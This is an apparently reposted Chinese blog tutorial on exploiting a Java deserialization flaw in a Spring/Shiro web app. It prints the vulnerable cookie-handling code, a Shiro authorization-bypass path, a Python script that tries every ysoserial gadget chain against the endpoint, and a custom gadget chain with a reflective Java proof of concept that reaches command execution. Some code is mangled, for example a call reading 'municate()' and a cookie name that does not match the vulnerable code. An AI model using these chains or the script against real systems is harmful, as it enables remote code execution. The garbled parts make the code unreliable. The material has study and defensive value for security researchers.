700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 如何挖掘反序列化漏洞

如何挖掘反序列化漏洞

时间:2023-05-08 00:28:13

相关推荐

如何挖掘反序列化漏洞

文章目录

代码审计payload 1payload 2

平时挖的或者看到的反序列例子都很曲折,或者很个例,无法作为一个科普文。偶然看到大佬KeePassX的Java反序列化漏洞从入门到关门,发现这是一个难得一见的反序列化挖掘的好例子,它很舒畅,一镜到底。

下面是以我的思路对代码进行白盒审计:

代码审计

看一下/index/*路由功能,发现cookie中的info字段存在发序列化漏洞

@GetMapping({"/"})public String main() {return "redirect:login";}@GetMapping({"/index/{name}"})public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {Cookie[] cookies = request.getCookies();boolean exist = false;Cookie cookie = null;User user = null;if (cookies != null) {Cookie[] var8 = cookies;int var9 = cookies.length;for(int var10 = 0; var10 < var9; ++var10) {Cookie c = var8[var10];if (c.getName().equals("info")) {exist = true;cookie = c;break;}}}if (exist) {byte[] bytes = Tools.base64Decode(cookie.getValue());user = (User)Tools.deserialize(bytes);} else {user = new User();user.setID(1);user.setUserName(name);cookie = new Cookie("info", Tools.base64Encode(Tools.serialize(user)));response.addCookie(cookie);}request.setAttribute("info", user);request.setAttribute("logs", new LogHandler());return "index";}

其中Tools.deserialize函数如下:

public static Object deserialize(final byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}

由于该项目使用了shiro中间件,并且存在权限绕过漏洞,绕过方式为http://127.0.0.1:8000/index/%3b/xxx

payload 1

于是直接打即可,当然最简单的就是上ysoserial工具,一开始也不知道使用哪条链,可以先来一波盲打,工具如下,虽然我写的比较粗糙,不过很好使,建议收藏:

#!/usr/bin/env python3# -*- coding:utf-8 -*-# @Date : /05/09# @Author : 5wimmingimport requestsimport subprocessimport timeimport base64def print_yso():payloads = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]for payload in payloads:try:p = subprocess.Popen('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ' + payload + ' \"open /System/Applications/Calculator.app\"', shell=True, stdout=subprocess.PIPE)out, err = municate()result = str(base64.b64encode(out))[2:-1]print(payload, result)burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/0101 Firefox/81.0","Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8","Origin": "http://127.0.0.1:8090", "Connection": "close","Cookie": "hacker=" + result,"Referer": "http://127.0.0.1:8090/admin/index.html"}requests.get('http://127.0.0.1:8000/index/%3b/xxx', headers=burp0_headers, timeout=20)time.sleep(5)except Exception as e:passif __name__ == '__main__':print_yso()

发现使用CommonsBeanutils1链可以成功,可能还有其他链,这里不在赘述,效果如下

payload 2

上面使用的是别人发现的公共链,但是有时候公共链并不能通吃,可以看看该项目本身有没有攻击链可以利用,寻找思路如下:

1、寻找项目中的危险函数AA.evil(string a),危险函数就是会导致漏洞产生的函数,比如命令执行函数Runtime.getRuntime().exec()、JNDI漏洞函数javax.naming.Context.lookup、SSRF漏洞函数.URL.openConnection等等。

当然这些函数的参数必须可控,否则没法传入恶意命令。

具体可以参考我改的gadgetinspector的slink点,里面全是危险函数

2、危险函数所在类AA必须实现了 java.io.Serializable 接口,或者是实现了java.io.Serializable 接口类的子类,比如下面是常用的五大反序列化利用基类

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。

3、找个载体类BB,用于承载你上面构造的恶意AA.evil(string a),我们知道,当一个类被反序列化的时候,会调用该类的readobject函数。

因为如果我们的恶意函数evil(string a)不在readobject()函数里面,它再恶意也没法起作用。

当然,BB.readobject函数也必须是可控的,比如它允许我们通过某种方式把AA.evil(string a)塞进去。

于是在项目中找到了toString函数,它的类继承于LogHandler,可以进行反序列化操纵,虽然toString函数的参数是私有变量,但是通过java的反射机制依然可以赋值

public class LogHandler extends HashSet implements InvocationHandler {private Object target;private String readLog = "tail accessLog.txt";private String writeLog = "echo /test >> accessLog.txt";public LogHandler() {}public LogHandler(Object target) {this.target = target;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));return method.invoke(this.target, args);}public String toString() {return Tools.exeCmd(this.readLog);}}

接下来找载体类,这里我们用BadAttributeValueExpException类,它是业界比较出名的载体类(背锅侠)

public class BadAttributeValueExpException extends Exception {private static final long serialVersionUID = -3105272988410493376L;private Object val;public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}public String toString() {return "BadAttributeValueException: " + val;}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else {// the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}}

从代码中我们可以看到,它调用了toString()函数,并且valObj可控,即我们可以把LogHandler实例赋值给它。

构造出poc如下,需要注意的是我们使用了LogHandler和Tools这两个项目中移植过来的类,需要注意它的package路径必须相同。

import com.xxx.Tools.LogHandler;import com.xxx.Tools.Tools;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;public class Payload {public static void main(String[] args) throws Exception{LogHandler logHandler = new LogHandler();Field readLogField = LogHandler.class.getDeclaredField("readLog");readLogField.setAccessible(true);readLogField.set(logHandler,"open /System/Applications/Calculator.app");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");Field valField = BadAttributeValueExpException.class.getDeclaredField("val");valField.setAccessible(true);valField.set(badAttributeValueExpException,logHandler);byte[] bytes = Tools.serialize(badAttributeValueExpException);System.out.println(Tools.base64Encode(bytes));}}

效果如下

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。